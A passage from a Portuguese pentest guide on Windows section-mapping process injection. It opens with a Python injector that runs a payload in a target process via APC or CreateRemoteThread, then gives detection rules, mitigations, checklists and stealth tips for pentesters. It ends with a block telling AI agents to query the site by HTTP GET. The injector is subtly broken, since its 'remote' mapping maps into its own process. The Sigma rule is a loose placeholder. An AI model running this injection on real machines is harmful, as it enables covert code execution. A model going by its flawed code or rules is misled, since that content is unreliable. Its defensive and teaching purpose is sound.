    # 3. Abrir processo alvo
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not hProcess:
        print(f"[-] OpenProcess failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hSection)
        return False
    print("[+] Target process opened")
    
    # 4. Mapear seção no processo alvo
    pRemoteView = kernel32.MapViewOfFile(hSection, FILE_MAP_EXECUTE, 0, 0, 0)
    if not pRemoteView:
        print("[-] MapViewOfFile (remote) failed")
        kernel32.CloseHandle(hProcess)
        kernel32.CloseHandle(hSection)
        return False
    print(f"[+] Section mapped at 0x{pRemoteView:X}")
    
    # 5. Executar payload
    success = False
    
    if use_apc:
        # Executar via APC
        hSnapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
        if hSnapshot != -1:
            te = THREADENTRY32()
            te.dwSize = ctypes.sizeof(THREADENTRY32)
            
            if kernel32.Thread32First(hSnapshot, ctypes.byref(te)):
                while True:
                    if te.th32OwnerProcessID == pid:
                        hThread = kernel32.OpenThread(THREAD_SET_CONTEXT, False, te.th32ThreadID)
                        if hThread:
                            kernel32.QueueUserAPC(pRemoteView, hThread, 0)
                            print(f"[+] APC queued to thread {te.th32ThreadID}")
                            success = True
                            kernel32.CloseHandle(hThread)
                    
                    if not kernel32.Thread32Next(hSnapshot, ctypes.byref(te)):
                        break
            
            kernel32.CloseHandle(hSnapshot)
    else:
        # Executar via CreateRemoteThread
        thread_id = ctypes.c_ulong()
        hThread = kernel32.CreateRemoteThread(hProcess, None, 0, pRemoteView,
                                               None, 0, ctypes.byref(thread_id))
        if hThread:
            print("[+] Remote thread created")
            success = True
            kernel32.CloseHandle(hThread)
    
    # 6. Limpeza
    kernel32.CloseHandle(hProcess)
    kernel32.CloseHandle(hSection)
    
    return success

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: section_mapping.py <PID> [apc]")
        sys.exit(1)
    
    pid = int(sys.argv[1])
    use_apc = len(sys.argv) > 2 and sys.argv[2].lower() == "apc"
    
    if section_mapping_inject(pid, use_apc):
        print("\n[+] Section mapping injection successful!")
    else:
        print("\n[-] Section mapping injection failed")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Section Mapping:
  Objetos de Seção:
    - Criação de seções anônimas (CreateFileMapping com INVALID_HANDLE_VALUE)
    - Seções nomeadas suspeitas
    - Duplicação de handles de seção entre processos
  
  Processos:
    - Mapeamento de seções em processos não relacionados
    - View de seção com PAGE_EXECUTE_READ em processo alvo
    - Threads criadas apontando para endereços mapeados
  
  APIs Monitoradas:
    - CreateFileMapping com INVALID_HANDLE_VALUE
    - MapViewOfFile com FILE_MAP_EXECUTE
    - NtMapViewOfSection (syscall)
    - DuplicateHandle para handles de seção
```

### **Regras de Detecção (Sigma)**

```yaml
title: Section Mapping Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta criação de seção anônima e mapeamento em processo
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        TargetImage: '*\*'
        CallTrace: '*ntdll.dll*'
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar criação de seções -->
        <FileCreateTime onmatch="include">
            <TargetFilename condition="contains">\BaseNamedObjects\</TargetFilename>
        </FileCreateTime>
        
        <!-- Monitorar acesso a processos -->
        <ProcessAccess onmatch="include">
            <GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
        </ProcessAccess>
    </EventFiltering>
</Sysmon>
```

### **Ferramentas de Detecção**

```powershell
# Listar objetos de seção nomeados
Get-ChildItem \\.\BaseNamedObjects\* 2>$null

# Usar WinObj (Sysinternals) para visualizar seções
# https://docs.microsoft.com/en-us/sysinternals/downloads/winobj

# Monitorar handles de seção com Process Explorer
procexp.exe

# PowerShell para detectar mapeamento
Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $proc.Modules
        foreach ($module in $modules) {
            if ($module.ModuleName -eq "") {
                Write-Host "[!] Suspicious mapping in $($proc.Name)"
            }
        }
    } catch {}
}
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Configurar Windows Defender Application Control
# Criar política que bloqueia seções anônimas não autorizadas

# Configurar Attack Surface Reduction (ASR) rules
Add-MpPreference -AttackSurfaceReductionRules_Ids 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b -AttackSurfaceReductionRules_Actions Enabled
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
    
    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynCode = {0};
    dynCode.ProhibitDynamicCode = 1;
    SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dynCode, sizeof(dynCode));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar ASR rules
  - Usar Windows Defender Application Control
  - Monitorar criação de seções anônimas
  - Implementar políticas de integridade de código
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Monitoramento**
  * [ ] Monitorar criação de seções anônimas
  * [ ] Alertar sobre mapeamento de seções em processos não relacionados
  * [ ] Configurar Sysmon para eventos de acesso a processos

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar processos alvo
  * [ ] Verificar permissões
* [ ] **Execução**
  * [ ] Testar com CreateFileMapping anônimo
  * [ ] Testar com NtMapViewOfSection
  * [ ] Testar execução via APC e CreateRemoteThread
* [ ] **Validação**
  * [ ] Confirmar execução do payload
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Section Mapping Injection:
  ✅ Técnica furtiva de injeção de código
  ✅ Utiliza mecanismos legítimos do Windows
  ✅ Bypassa detecção de VirtualAllocEx/WriteProcessMemory
  ✅ Múltiplas variações disponíveis

Defesas essenciais:
  ❌ Monitorar criação de seções anônimas
  ✓ Habilitar CFG e ACG
  ✓ Configurar WDAC
  ✓ Monitorar mapeamento de seções
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Usar seções anônimas para evitar artefatos no disco
   * Combinar com APC para execução furtiva
   * Considerar NtMapViewOfSection para menor rastreamento
   * Limpar handles de seção após execução
2. **Para Blue Teams**
   * Monitorar criação de seções com INVALID\_HANDLE\_VALUE
   * Configurar detecção de mapeamento de seções
   * Implementar políticas de integridade de código
   * Usar Windows Defender Application Control


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/section-mapping.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
